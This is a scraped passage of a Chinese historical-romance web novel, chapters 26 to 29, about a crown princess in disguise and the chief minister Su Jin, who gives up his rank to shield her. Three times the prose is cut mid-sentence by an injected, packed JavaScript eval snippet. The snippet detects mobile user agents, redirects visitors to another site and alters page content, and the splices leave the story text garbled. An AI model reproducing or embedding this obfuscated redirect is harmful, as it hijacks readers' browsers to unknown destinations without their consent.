又到了快散讲的时辰，苏觐并未出现。距离他上次来文华殿已经过去很久，而自那日给她看了弹劾奏本之后，他便再也没有来东宫找过她。 在忙什么呢？内阁？镇府司？还是神机营？ 那些军政要务，还有北伐大业，都比看好她这个傀儡太子重要得多吧。 唉，道不同不相为谋的人，想那么多干嘛。 但，思来想去，又觉得阮蝉的提议听着荒诞，却十分有道理。 若能把苏觐从秦王那边拉拢过来，为她效力，暗中对抗秦王，这条夺权之路会变得顺畅许多。 毕竟秦王那么信任苏觐，奏本、兵权、御印，全都毫无保留地给了他。 就连先帝倾举国之力打造，代表了大黎最高武备实力的精锐神机营，也放心交由他全权指挥。 在过去的北伐之征中，神机营每一场声名远扬的破敌之战，都是苏觐靠着严密的排兵布阵打下来的。此人在神机营军中的威望，当真有可能与秦王匹敌。 若能靠着收服苏觐，掌控神机营…… 这种美事，她连做梦都不敢梦。 所以，到底要怎么样才能把苏觐拉拢过来呢？ 靠讲道理？那人一看就只认他的死理。 靠钱财收买？那人衣食住行都朴素成那样了。 或者说，效仿巴雅尔笼络乔绍那样，靠美色和子嗣？ 可苏觐又不是乔绍，那么生人勿近冷若冰霜的一个人，快二十七岁了，连门亲事都没议过，颇有洁身自好的名声，大概率对美色和子嗣都不感兴趣。 显然都是无稽之谈。 说来也奇怪，为何秦王和王妃从没给他张罗过娶妻之事，真是想不通，找到机会了得好好打听一下。 正出着神，散讲时辰到了，讲读官们行礼告退。 乔鹤练啊了一声，连忙招呼各位慢走，等众人都散去，才唤行简进来收拾。 叫了几声没人答应，她不禁站起身来，向殿外张望。 没瞅见行简的影子，他向来是守在殿外的啊。难道是去更衣了？ 乔鹤练想着再等等，刚坐下去，只见一个身着官服的俊朗文臣踏入了殿中。 “殿下稍安勿躁，臣来服侍殿下。” 26. 治病 “你来做什么？”看清来人的脸，乔鹤练瞬间腾身而起。 看来这厮是伤养好了，又回朝中霍霍文武百官了。 “苏大人家中有事，由臣代为监督殿下学业。”来人道。 “他怎么了？”乔鹤练疑惑。 怎、么、了！ 咬牙切齿般的，岑典在心里把这三个字狠狠重复了一遍。 看到太子这张故作无辜的脸，他气得恨不能当场把其撕成两半。 都怪这个废物太子，读书不行就算了，整天一肚子鬼名堂，闲得没事非要出什么宫玩，把天子的衣袍拿给苏觐穿，简直莫名其妙。自己的名声都那么糟糕了，还要插手世子妃的事情，真是吃饱了撑的。 仔细想来，苏觐触怒秦王，被王妃重责，桩桩件件，源头全在这个该死的太子身上。而罪魁祸首还优哉游哉地待在殿中，一副无所事事的欠扁模样，假惺惺地问他怎么了。 跟这种绣花枕头多说一句话都是白费口舌。岑典想，若不是秦王让他过来，他才不稀得和太子照面。 寻思敷衍一下得了，装装样子赶紧回去交差，随手抓起太子桌案上的策论翻了翻。 单看这笔潦草拙劣的丑字，他就皱起了眉，哪还有心情细读纸上不知所云的内容。 搞不懂每天面对这种难雕的朽木，苏觐是怎么乐在其中的，屡次三番突破原则，动辄偏袒，不准旁人说半句太子的坏话，还把弹劾太子的奏本都压了下去。 “说话呀。”见岑典垮着个脸不搭理人，乔鹤练摸不着头脑。 “不是说了吗，家中有事。”岑典没好气道。 “他家中不就他自己吗？”乔鹤练问，“他出什么事了？” “那就是他自己有事呗。”岑典把那堆纸扔了回去。 装什么假仁假义。废物储君最好自求多福，千万不要落下什么洗不干净的把柄，栽到他岑典手里。 “他病了？”乔鹤练猜。 “……” “他如今在家？还是王府？”乔鹤练追问。 “和殿下无关。”岑典一脸公事公办，“殿下若是有闲情逸致，还是多操心操心自己的公案吧。” “你这话什么意思？” 乔鹤练不爱听了。本来就觉得岑典狐假虎威，心术不正。身为风纪官员，和锦衣卫沆瀣一气，到处挖人隐私，利用朝廷利器铲除异己。 亏他还是状元呢，偏去做佞臣酷吏，真是丢尽天下读书人的脸。 “什么意思？”岑典嗤笑，“听说殿下已经把世子妃放跑了？殿下好自为之吧。” 储君协助外命妇私逃，是板上钉钉的德行有亏，不是接人进宫住两日那么简单，都察院和六科官员绝不会轻易松口。 这一回必定朝野沸腾，弹劾太子的奏本，别说苏觐按不下去，就连秦王都留中不了。 他都不需要添柴煽风，站在一边等着看笑话就好了。 “我做事要你提醒？”乔鹤练失了耐性，拍桌道，“岑御史，本宫在问你话，苏少保到底怎么回事？少顾左右而言他。” 岑典也懒得绕弯子，索性实话实说了。 昨日幸好寻戈聪明，及时搬来了秦王。就王妃那个狠劲，岑典替人挡刀时不慎挨了一下，半天都没缓过劲来，说实话，真和诏狱里的棍杖有得一拼。 苏觐被秦王接回府后，虽然有太医诊治照顾，可很快便发起了热，到现在一天一夜也没退。 那家伙平日里身体好得很，一年到头都没个哪里不舒服的。也正因如此，他竟然还准备拖着那骇人的伤势和病体出门上值。 幸好秦王坚决不准，把他关在房里。 真是愁死个人。 岑典正要抱怨，忽见太子丢下他，自顾自地就往殿外走。 “站住！”岑典喊道，“殿下要去哪？回你的寝殿待着！” “关你什么事？”太子头也不回，“管好你自己！” * 乔鹤练解救了被岑典的人按在地上捉弄的行简，又带上薛素问，来到秦王府。 听她说来探病，秦王答应了，还有模有样地宽慰了几句，让侍从领着她去了苏觐的院子。 也没过问孟蕊初的事，挺奇怪，世子妃离宫的消息都传得沸沸扬扬了。 好在今日乔绍不在府中，碰不到面，听说是自请去三千营军中了。不然仇人见面，剑拔弩张，搞不好又要打起来。 只是，也没有见到秦王妃。 想到秦王妃，乔鹤练心里有些没底。 在她印象里，伯母是个冷美人，只对她格外的好。在她还是小郡主的时候，伯母有机会便抱着她玩，记得她爱吃的点心，还给她梳头。 这是所有晚辈里独一份的。 而她顶替阿缜做了太孙之后，伯母对她也很不错，只是好像隔了层窗纱，再无从前那般亲昵。 除此之外，秦王妃和乔绍井水不犯河水，和孟蕊初的关系却意外的好。 这么看来，秦王妃似乎非常钟爱女儿。 可惜她这辈子没有女儿。 秦王妃本姓赵，边陲匠户出身。前任丈夫是个普通农户，即苏觐的生父，在十五年前已经亡故。听说生苏觐的时候，她难产伤了根基，此后不能再身怀有孕。 因此改嫁给秦王之后，她没有孕育任何子嗣。 当然这丝毫不影响她当家主母的地位。乔绍那么嚣张，敢和秦王对骂，当着她的面一句话都不敢说，只能在背地里拿苏觐撒气。乔纮夫妇和乔绥对她也相当敬重，说明她在处理晚辈关系上颇有一套方法。 可为何偏偏，她和苏觐这个亲生独子的关系，会那么僵呢？ 苏觐在人前从未喊过她一句母亲，那日生辰宴，她在众目睽睽下把苏觐抛在院中的情形犹在眼前。 看来这对母子的隔阂，当真极深。 否则秦王妃也不会因为那点事情，就把苏觐打得卧病不起了。 唉，这么看，岑典固然讨厌，但站在他的角度，怪她怪得倒也不无道理。如果不是她送苏觐衣服，求他带她出宫，可能他也不会这么惨。 虽然之前他那样欺负她，可是，看着这个目前仍是政敌的人，因为陪着她玩，沦落到如此不堪的地步，她一点都开心不起来。 甚至还感到悲伤，感到……心痛。 不知是出于天然的同情，还是想着要把他收为己用。 毕竟如果真的被打坏了，以后还怎么帮她跟秦王抗衡呢。 同乔鹤练揣测的一样，苏觐在王府有独立院落，比他自家宅院宽敞得多。 庭中飞泉漱石，华灯花木，画栋珠帘，精美并不输东宫。 秦王还是有钱，怪不得他看不上皇宫。如今宫中许多建筑内部因闲置而破旧，她也懒得找人修，可谓金玉其外，和这座里外都光鲜的府邸不可比拟。 苏觐也是奇怪，放着这么好的庭院不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546968|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住，非要在巷尾买一间那么简朴的宅院。 是因为要躲乔绍，还是要躲秦王妃？ 又或者，他觉得他不属于这座府邸。 但此时此刻，他在里面疗养。 可花时间疗养，并不意味着疗愈。 乔鹤练推开了虚掩的楠木隔扇，步入门厅。卧房外矗立着一架高大的山水围屏，她在水墨江山前驻步，仿佛置身于浩瀚河山。 贸然闯入不礼貌，有必要先打个招呼。 “我……” “别进来。” 刚一出声便被打断，屏风后的嗓音动听沉稳依旧，伴随着哗啦翻书声，与虚弱毫不相干，只略有一点沙哑。 他不想见她。 摄政重臣，不愿被傀儡储君瞧见落魄模样，在乎面子，可以理解。 “好。我就在外边。”乔鹤练道，“你好些了吗？” “我没事。”他道，“你走吧。” 如此冷淡。话都不愿多说。 刚一来就赶人走，这是待客之道么。 心里有点失落，不知这人是不是生闷气了，她决定先迂回两句：“对不起。我不知道这些事，有这么严重……” “无需对不起。我答应的。”苏觐合上书册，无谓道。 既然敢做，就代表清楚后果，并且承担得起。 在预料之中，在可控范围内。除了不能见面之外，都不严重。 “好嘛。”乔鹤练道，“但是现在，你病了，你需要疗愈。” “我带了医官来，我想，可以帮到你……” “臣房中已有太医。”他推拒。 “可我想要疗愈你。”她坚持，“用我的医者，和我的仁心。” 沉默良久，终于，一名太医从屏风后踱出，拜见过太子，和随侍的司药女官相互见礼。 “请问症候，脉象。”薛素问开门见山。 太医详细描述完，面露困惑。患者伤势只在肌肉，他已用金疮药处理过，并未恶化，可虚热始终不退，令他束手无策。 “症候不全，与脉象不符。”薛素问直言不讳，“患者没有说实话？” 女医言辞过于犀利，其余三人皆哑然，又是一阵尴尬的沉默。 乔鹤练尝试解围：“是不是，左腿旧伤复发了，苏大人没有察觉到？……你现在，关节疼么？” 被打得那么重，膝上免不了受些磕碰。 “……有点。”片刻，屏风后传来一句。 薛素问：“如此就对了。虚热症结在陈年骨伤复发，而非荆楚所致的肌肉伤。” 当然，她没有说肌肉伤不严重的意思。二者都需审慎对待，绝不可厚此薄彼。 女医调整了方子，交给太医，并建议辅以针灸，太医千恩万谢地出去准备了。 “你连自己哪里不舒服，都不知道吗？”伫立在屏风外，乔鹤练无语问道。 望闻问切，症候都不给大夫说完整，让人怎么瞧病。 “……下次注意。”语气镇静。 什么？这次还没好，就想着下次？这人疯了。 唉，人是血肉之躯，又不是铁打的。人活一世，需要闲玩，需要休息，需要学会看病，疗愈可见不可见的创伤。 你我如此，天下百姓亦是如此。 他莫不是在炮台上待久了，觉得自己也是生铁浇筑的不成？ 很难想象这种人童年都经历了什么。 27. 护短 果然如岑典所说，孟蕊初刚离京没多久，讨伐奏本就如铺天盖地一般涌来，甚至还有六科官员联名上疏，弹劾太子私纵命妇。 至于被乔绍收买的那些言官就更厉害了，竟在朝堂上把太子三年前“强抢民女”之事翻出来重提，要求数罪并罚，将太子也遣送到沙河行宫禁足。 那不就相当于把废太子之事推上日程了吗。 看来失去孟蕊初一事，当真把乔绍气得狗急跳墙，如今已经丝毫不顾及宗族体面，一心一意要报复太子。 听到这些消息的乔鹤练一点也不生气，内心毫无波澜，因为她可以笃定，秦王断不会将她治罪或驱逐。 根据那日去王府探望苏觐时秦王的态度和反应，她大胆推测，这次送走孟蕊初之事是秦王默许的。 不外乎其他，一切进行得太顺利了，一路上连个追兵都没有，加之姑母鲁国长公主也在幕后相助。 就她目前乖乖听话，偶尔做些荒唐事的表现来看，秦王对她这个储君还算满意。 因此，尽管她的对面是唇枪舌战，但背后也同样有无形靠山。 那些言官无非就是打打嘴仗，发泄一下情绪，抓着一个宗室女子的去向不放，满足自己抱团骂人的爱好，显得他们个个都是不畏强权、敢于直谏的诤臣，用太子的昏庸堕落来反衬他们的克己奉公。 加上还能白拿乔绍的钱，既挣了名，又得了利，不用付出任何代价，何乐而不为。 而秦王为公允处理，召集了宗正院官员共同商议如何处置太子。最后没削减礼遇，也不申斥禁足，只下谕罚她每日在奉先殿外听读先祖圣训，以为自省，为期一月。 和她预估的一模一样。 如此就算给所有上疏弹劾的官员一个交待了，估计得把乔绍气吐血。 苍穹广袤，宫阙巍峨。 奉先殿外，汉白玉须弥座下。 乔鹤练瞪着面前的眼熟文官，大感荒谬。 “怎么又是你？”她皱眉，排斥道。 “都察院左佥都御史臣岑典，谨奉圣谕，”岑典手捧典籍，假模假式道，“为太子殿下诵读祖训。” 乔鹤练一时怀疑这个人到底是真闲还是专程来讥笑她的。 或者是苏觐让他代为监视自己？ 苏觐病休已经三日，身为首辅和名义上的储君之师，在这次更为猛烈的舆论风暴中，他彻底销声匿迹，并未对弹章有任何批复，也未公开发表任何说法。 也是，苏觐如今连自身身体都有待康复，哪里还有精力去管她的事情。 想不通就不想了，爱咋咋地。 先祖圣训通共一万八千余字，正式宣读需要约一个时辰。 今日这天气不算暖和，即使不刮风，有太阳照着，可北直隶的冬天到底寒气侵人。所幸她捂得严严实实，不怕。 岑典喜欢陪人挨冻，就冻着吧。 “读吧。”乔鹤练道。 话音刚落，还不及岑典展卷，只见乔绍竟领着一伙蓝袍言官从西门踏入殿院，来势汹汹，大有趁火打劫的架势。 而奉先殿外的守卫和内臣见状，都自觉退避三舍，生怕牵扯入太子和秦王世子的龃龉之中。 乔鹤练远远打量着这些被乔绍收买了的言官，大多来自都察院，一时气得想笑，指着岑典的鼻子道：“好啊，岑大人，没想到你和他们是一伙的！” 这厮为了落井下石看她笑话，竟然跟乔绍这种人勾结到了一起，真是丧尽天良！苏觐当初怎么就没弄死他，叛徒！ “臣没有！”岑典矢口否认，“臣只是奉旨当差，殿下不要诬蔑。” “那你让他们滚。”乔鹤练毫不客气道。 “殿下恕罪，臣没有这个权力。”岑典一脸爱莫能助，“臣只负责宣读，又是一介书生，打不过这么多人。” 还在装蒜，敢做不敢当的小人！ “你胡扯。”乔鹤练反驳，“同在都察院，你一个穿红袍的四品官，指挥不动这些蓝衣服的七品？” “这里是奉先殿院，不是都察院衙门。”岑典无辜，“何况，秦王世子是超品，臣也越不过他呀。” 好、好、好。岑典是吧，记住你了。 想到乔绍这个败类已经投敌叛国，迟早自掘坟墓，秦王也容不下他。没必要和这种蝼蚁一般见识，她只当被狗咬了，冷冷地站在原地，睨着围过来的人们。 只听乔绍阴阳怪气地嘲讽：“太子聆听祖训，怎么一点礼法都不守？看来是不思悔改，不敬祖宗。” 他随手招来一个言官：“你，去教太子规矩。” 那言官便上前，对乔鹤练揖道：“启禀殿下，既在奉先殿外仰承祖训，应当长跪受教，方显诚心悔悟。” 拳头微微攥住，又很快松开。乔鹤练猜到乔绍不会善罢甘休，很可能借机刁难，因此她今日来到奉先殿前，特意戴了厚实的护膝，就是为了以防万一被迫长跪。 毕竟祖训念一遍要整整一个时辰。 但此刻，她仍镇定伫立：“本宫已遵圣谕至奉先殿外。圣谕只命听读，未令跪听。尔等若无新旨意传到，烦请退避，不要打扰本宫听讲。” 乔绍冷笑：“少跟他废话！既然太子不敬先祖，你们便帮他成全体面！” 他旁边的两个言官听了，先抬头看岑典。 岂料岑典嘴上说着：“诶，不可冒犯储躬！”人却故意往旁边让开一大步，似乎在纵容他们动手。 那两人便放心大胆地上前，作势要擒住乔鹤练的手臂和肩膀，想将她按倒在地。 “住手，不许碰我！” 本以为这些言官只会骂人，想不到竟野蛮到真的敢对她动粗，乔鹤练没经历过这等场面，一瞬间确实慌了。 冷汗从颈边不断渗出，她心乱如麻，手脚僵直，咽喉被寡不敌众的绝望感扼住，有些窒息。 刹那间，岑典却突然见了鬼似的打断他们，猛扑过来扯住一个言官，把手中典籍强行塞到他手里，慌张道：“我临时有事，你帮我拿一下！” 而后逃命一般拔腿狂奔，动作快得犹如闪电霹雳，疾速消失在殿院西门外。 好端端的，这人怎么，临阵脱逃了？ 发生了什么？ 众人皆看傻了眼，直到有言官带头朝奉先右门方向回望，却见门外护卫已尽数持械归位，一个人影静立在门内不远处。 与身穿飞鱼戎装或红蓝官袍的众人截然不同，那人着一袭白绸长衫，披风是未经漂染的素布，头戴文人雅士间常见的平顶大帽，帽珠由檀木串成。 简洁的士庶衣冠，无品无阶，与重檐庑殿、金瓦熠熠的皇宫内苑格格不入。 没有红袍乌纱的加持，那人容颜依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550053|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧俊美，气质则愈发冷酷，仿佛与萧条的天地、凛冽的朔气融为一体。 言官们看清了来人，皆两股战战，垂首抱袖，默默往殿院西门方向倒退。 在这沉重的威压下，乔绍也连退数步。 “站住。”苏觐道。 于是无人再敢动，在场所有人只有岑典一人成功逃脱。 苏觐缓步近前，肃然开口：“圣谕。” 见他手执一道文书，众人反应过来苏觐是来传旨的，惟有就地跪而听宣。 乔鹤练仍未从恐惧与震惊中平复。脚底刺痛，手也有些抽搐，虽欲屈身下拜，一时拎不动衣袍，也迈不开腿。 不知是不是看出她动作艰难，苏觐随之补充：“钦命，太子可以立听。” 她颤抖着拢袖，缓缓低下头去。 “时值岁暮，恐尔受寒，允准尔返回东宫居室听读，免去奉先殿外一切自省。” 免去自省？这相当于是，把错揭过去，完全不罚了？ “接旨吧，皇太子殿下。”见她愣了半天没反应，苏觐淡淡提醒道。 “……臣谢父皇恩典。陛下万岁。”恍惚以为在做梦，乔鹤练怔怔拜揖，接过他手中文书。 变数突然，所有人都难以置信，想不通为何已经白纸黑字下旨过的处罚，第一日就能被一道新旨意收回。 旧旨意是秦王和宗正院官员一同裁定的，苏觐他孤身一人，凭什么下这道新旨？ 眼见乔绍起身，仍想和那些言官一起偷偷溜走，苏觐叫停道：“世子殿下留步。” “何事。”乔绍强压愤懑，努力维持平静。 自从巴雅尔告诉他，绝不可再和苏觐起冲突，相反，还要尽量假装尊重。他如今去哪里都躲着苏觐，也戒掉了一碰面就骂人的习惯。 巴雅尔说，只有这样，才可能博得秦王的信任。 巴雅尔还说，别看苏觐触怒秦王之后，遭到了王妃的重罚，那是王妃在用苦肉计卖惨，生怕苏觐会失了秦王的宠爱。 巴雅尔说，越惨的人越容易得到怜爱，所以千万不能再当众辱骂苏觐。 以前没有人教过他这些，乔绍觉得，巴雅尔说的似乎有道理。 孟蕊初已经彻底弃他而去，他如今唯一的指望就是玉颜和她腹中孩子了。 他今天来到奉天殿外，本来只是为了报太子夺妻之仇，谁能想到本该在王府专心疗养的苏觐会突然造访。 “秦王殿下托臣转达世子：殿下若想钻研先祖圣训，何必在奉先殿外旁听。请殿下移步庙右门，由在场诸位大人陪侍，轮流为殿下反复诵读即可。”苏觐道。 庙右门不比奉先殿清静，位于午门之外，往来侍卫、内臣、朝参官等闲杂人员众多。 “另，世子殿下听读时，务必同各位严遵方才你亲口所说的礼法规矩。” “请吧，世子殿下，各位大人。”苏觐环视众人，淡漠地下达通牒。 待那些人悻悻离去后，乔鹤练才逐渐清醒过来，她抬头望着苏觐，茫然道：“为，为什么？” “殿下不冷吗？”苏觐没有答，而是反问道，“随臣回东宫吧。” 注意到此人连传旨这等正式场合都没有穿官服，乔鹤练更加迷惑，问：“你今日，怎么不穿官服？” “不用穿了。”苏觐道，“以后都不用穿了。” 28. 罢官了 “不用穿了，是，什么意思？”乔鹤练听懵了，以为苏觐在说梦话，难以理解地重复。 “字面意思。”苏觐看她一眼，兀自转身，往东宫方向步去，“就是不用穿了的意思。” ……一番话如同一番话一样。 朱墙高耸，将万里青空切成窄长一方。望着独行于空荡宫道上的颀长背影，乔鹤练轻吁一口气，快步跟上。 一路无话。 这人仪度清举，行动自如，从头发丝到衣角都很利落，看不出半点带病带伤的样子。 乔鹤练几次欲言又止，没好意思开口询问。 回到寝殿，只见行简又惊又喜地迎上来，问她为何这么快就回来了。 乔鹤练简短交代，行简也不可思议，二人正面面相觑，却被苏觐打断：“殿下不热吗？” 屋里炭火很足，她穿得太厚，确实浑身闷热，网巾和帽沿也都捂湿透了。 行简赶忙去取衣服，乔鹤练入内室换了，仍回到堂上。 见苏觐的披风也已叠好，用帽子压在一旁，人坐在桌案后，只是翻书，不说话，也不抬头。 乔鹤练突然想到这人有可能是烧坏脑子了，她快步上前，伸手想试他的额头，不料就在掌心将触的一刹那，他蓦地抬头，凝望着她。 他眸光清冷如常，如潭水般幽深，与她对视时，却似添了一丝极难察觉的促狭。 她仓皇地缩回手去，咳嗽一声，敛眸：“你，你没发烧吧？” “殿下赐医及时，臣已痊愈。”苏觐淡淡道，“草芥之身，蒙殿下仁厚关怀，臣叩谢君恩。” 用嘴叩谢，真有你的。 “所以到底是，怎么回事？”乔鹤练被卖关子卖得有点烦了，“你要致仕啦？” 打仗打累了，不想跟秦王干了，帮我搞民生呀，回家干嘛。 “没有。”他终于坦白，“挂冠当差罢了。” 挂冠当差，即相当于罢免官职，但公务照理，只是没有品阶，身份等同布衣，不能穿官服。 也没有俸禄。 语言已无法形容乔鹤练此刻的震惊，难怪苏觐能下这道免去她奉先殿省过的旨意。 是他在病中上疏，把过错都揽到了自己身上，把储君荒唐归因于有失教导，由他来承担罪责。 “你疯啦？”她愕然地问，“衣冠品阶都没了，怎么当差？” 他就穿着这身白衣，待在那些峨冠博带的官员中间？连一个绿袍九品相较他都是上官？谁指挥谁？ 他那么傲慢持重的人，一点体面都不要了？ “该怎么当，就怎么当。”苏觐无谓道，“衣冠是君主恩荣，戴罪而失，只影响体面，不影响当差。” “……厉害。”乔鹤练哂笑。 却见苏觐将拢住的手缓缓松开，一印一符躺在他掌中，似把玩一般。 印是玉印，符是铜符。 御印和兵符。 嘴角瞬间垮下去，乔鹤练如遭雷劈，又开始腿疼脚麻。上次亲眼看到御印时的濒死与绝望感席卷身躯。 不懂他此刻拿出印是何意图，求生本能驱使她立刻转身，赶在腿软之前往殿外飞奔逃窜。 “不准跑。”即将跨过门槛时，被蓦然喝止，乔鹤练不甘情愿地驻足。 “回来。”苏觐道，“跑什么？” 想到新旨意虽免了她去奉先殿受冻，可仍说要在东宫听读，她有极其不好的预感，这人又要借机折磨她。 毕竟为了保她，他连官位都不要了，如此狠绝，还不得在她身上讨点威严回去？ “不跑，难道等着被你罚跪吗？”乔鹤练回过头，生气道。 表面强撑着气势，她心里是真怕。酷吏权臣想一出是一出，没人能猜到他究竟在盘算什么，又想报复些什么。 “你脸受伤了？”苏觐问。 “什么？”乔鹤练一时没反应过来，伸手摸了摸脸，“没有啊。” “没有就不可能。”他道，“过来，有话要问你。” 得了这句首肯，她长舒一口气，踱步上前。“那祖训还读吗？” “你想听？” “……当然不想。”她又没病。 “那就不读。” “好啊，你敢抗旨不遵。”乔鹤练撑着桌案，微微俯首。 果然是乱臣贼子，果然大逆不道。 苏觐抬头注视她：“你不说，我不说，谁看得出来？” 哟，开始上道了。 “都察院说，太子三年前‘强抢民女’，是怎么一回事？”还不及她作反应，苏觐话锋陡转。 “……字面意思。”乔鹤练企图糊弄。 “当真如那些人所言？”他声音突然变得极冷，将满殿炭火的暖意都盖过了。 “怎么可能！”乔鹤练无可奈何，只得将实情告诉他。 当年宛平县有一少女随养父母生活，养父亡故后，养母带着她嫁入一士绅大户家里做侧室，后也因故去世。 少女名义上是那户人家养女，却连奴婢都不如，受尽虐待欺凌。不仅要干最脏的粗活，晚上睡在柴房，白天还要被主母、嫡女殴打辱骂。 少女长到十四岁，又被那家人计划卖给一个年近古稀的富商做妾，于是她不管不顾地离家出逃。 在家丁的追捕下，她摔倒在街头，被骑白马的少年太子救起。 按照户籍黄册，少女确实是那户人家的女儿，因此太子只能顶着“强抢民女”的名头，将那名少女强行送到了登州。 如今少女跟着鲁国长公主习武，效力于登州水师，还参与过抗倭。 苏觐听完，沉默良久，神情十分复杂。半晌，他开口：“殿下与那名女子，是什么关系？” “什么关系？”乔鹤练道，“她算我妹妹吧。” 阮令望今年十七，比她小一岁。 “哪种妹妹？”苏觐追问。 “就，亲妹妹啊。”乔鹤练道，“绝无儿女私情的那种，你可别想多。” 苏觐顿了一下。 他想多了吗？ 刚听完故事之时，的确有些动容，但这种情绪向来被他隐匿得极深，绝不可能轻易流露。 随之，莫名的介怀和不适涌入心头，迅速转变为担忧与焦虑，他很怕太子会承认心悦那名女子。 听到太子斩钉截铁的否认之后，他松了口气。 这很不对，太子是国储，迟早要娶太子妃，有心悦的女子也正常。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551960|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为何要因为这种事情耿耿于怀？太子毕竟是太子，不是陈留。 但他立刻再次警觉：“殿下和旁人有儿女私情？” “没有。”小人答得问心无愧，“我和周围女子都是清白的，外面怎么传我管不了。” “那和卢允恭呢？”是和男子不清白的意思？ “……”太子无语道，“清白得不能再清白了。” “那和行简呢？”苏觐想到内臣与自己作对的诡异情形，难道小人和宦官不清白？ “你脑子应该是烧坏了。”乔鹤练报以同情的目光，“我给你抓副药去吧。” 这问的都是什么乱七八糟的啊。 “我对宦官没有兴趣，和所有人都是清白的。”她再三解释，“就像我和你一样，非常清白。” 此话一出口，苏觐眸光黯淡下去，脸色变得冷峻，似乎又生气了。 正巧聊到这个话题，乔鹤练想起这一茬，不问白不问：“那你呢？你有心仪之人吗？你为什么不议婚？” 她见苏觐怔了片刻，冷冷道：“没有。因为不想。” 就知道这个人对情思爱念之事一点兴趣都没有。 一门心思扑在朝政上，满脑子都是打打杀杀的。 她听了还挺高兴，不知道为什么。 突然想到另一件不妙的事，乔鹤练忙问：“那你没有俸禄了怎么办？” 苏觐道：“没有就没有吧，无所谓，不影响上值。” 没钱有没钱的过法。他不在意这些。反正都归国库，一点都不亏，和自己花了一样。只要国库有钱就行。 上次母亲来过家宅之后，又暗地里给他留下三千两，都被他原封不动地退回去了。 这算什么？休说是儿子，把他当人了么。 尽管秦王得知后很生气，来质问他，但一见到他养病的样子，便哑火了，半个字也说不出。 他再抢先低头，假装认错，说几句好听的，秦王不仅没怪他，还答应他上疏请罪，替太子担下过错。 只要他想，完全能把秦王哄得团团转，未必就输给母亲。 至于圣谕，一张落了宝玺的纸而已，他想写什么就写什么。 朝野沸议算什么，一群摇唇鼓舌的言官没事找事，大不了全杀了。 “没有就没有，不影响上值”。 听到这句回答的乔鹤练，对秦王的忮忌之情达到顶峰。 光勤恳劳作不吃草料的牛马，能给她也来一沓吗？ 更何况这不是牛马，是一人顶三人，理政能安邦，带兵能定国，还年纪轻轻至少能燃好几十年，完全没有个人私欲的美丽宝器啊！ 就因为秦王爱打仗，就能让这种人为他死心塌地地卖命？凭什么？ 她为什么不能拥有？ 不行，她一定要不惜一切代价，把此人拉拢过来。 哪怕是赔上清白。 等等，为什么要赔上清白？ 她不由摸了摸额头，以为自己也发烧了。 额头温度正常，脸倒是有点烫。 就在她迷离之际，桌案对面的苏觐却忽然起身，垂望着她，沉重的目光辗轧过她全身，口吻森寒。 “臣还有一句话要问殿下。” 29. 军师说： 乔鹤练大感不妙，刹那间如坠冰窟。 “为保储位稳定，储躬无虞，有两件事，殿下务必要做到。”苏觐微微颔首，审视着她，“殿下还记得，是哪两件事吗？” 指尖不自觉地痉挛，薄汗渗透衣衫，她将头埋低了些，竭力作平静：“记得。” “把头抬起来。”他淡淡道，“说说看，是哪两件事。” 下巴艰难扬起，肌肤浮起粟栗，她望着他不动声色的脸，从嗓子里挤出那句话。 “不……私通敌寇，不，阻碍北伐……” “殿下颖悟绝伦，臣倍感欣慰。”苏觐点头，“殿下守好底限，便可高枕无忧。如此，无论发生何事，臣都能力保殿下毫发无伤。” * 宫门下钥前，扮作宫人的阮蝉再次混入东宫。 “说说吧。”阮蝉道，“这段时日，殿下进展如何？” 乔鹤练一头雾水：“什么叫我的进展如何？” 不应该是她问阮蝉进展如何吗。 她把自己近日遭遇详细说给阮蝉。 “喀兀细作，相较于殿下真正的图谋，实在不值一提。”阮蝉看着她，认真道。 “勿怪蝉娘说话难听，如果你连苏觐都搞不定，亲政之谋，根本不可能成功。” 关于喀兀细作，乔鹤练原本计划是将情报作为一桩功劳，白送给大理寺，以此为筹码换取大理寺官员上疏，争取释放仍被关押在狱中的天子旧臣。 如今三法司中，刑部职权被架空，大理寺和都察院分庭抗礼，两拨人在秦王面前都有一定话语权。 与藏污纳垢的都察院不同，大理寺算是朝中一股清流，其官员未卷入过北伐之争，是乔鹤练计划拉拢的一股重要力量。 阮蝉：“我不建议将情报转递给大理寺。” 即便大理寺能够答应上疏，重新审理天子旧臣，还需确保三法司意见一致，最后仍要过秦王这一关。 过关之后，官员重新起用的问题，依然是个老大难。 “殿下有没有想过，从放人到把这些旧臣重新派到任上，对于苏觐来说，可能就是一句话的事情。” “既然有现成的捷径，为什么要兜圈子呢？不如殿下直接把情报交给苏觐，跟他合作。” 乔鹤练陷入沉思。 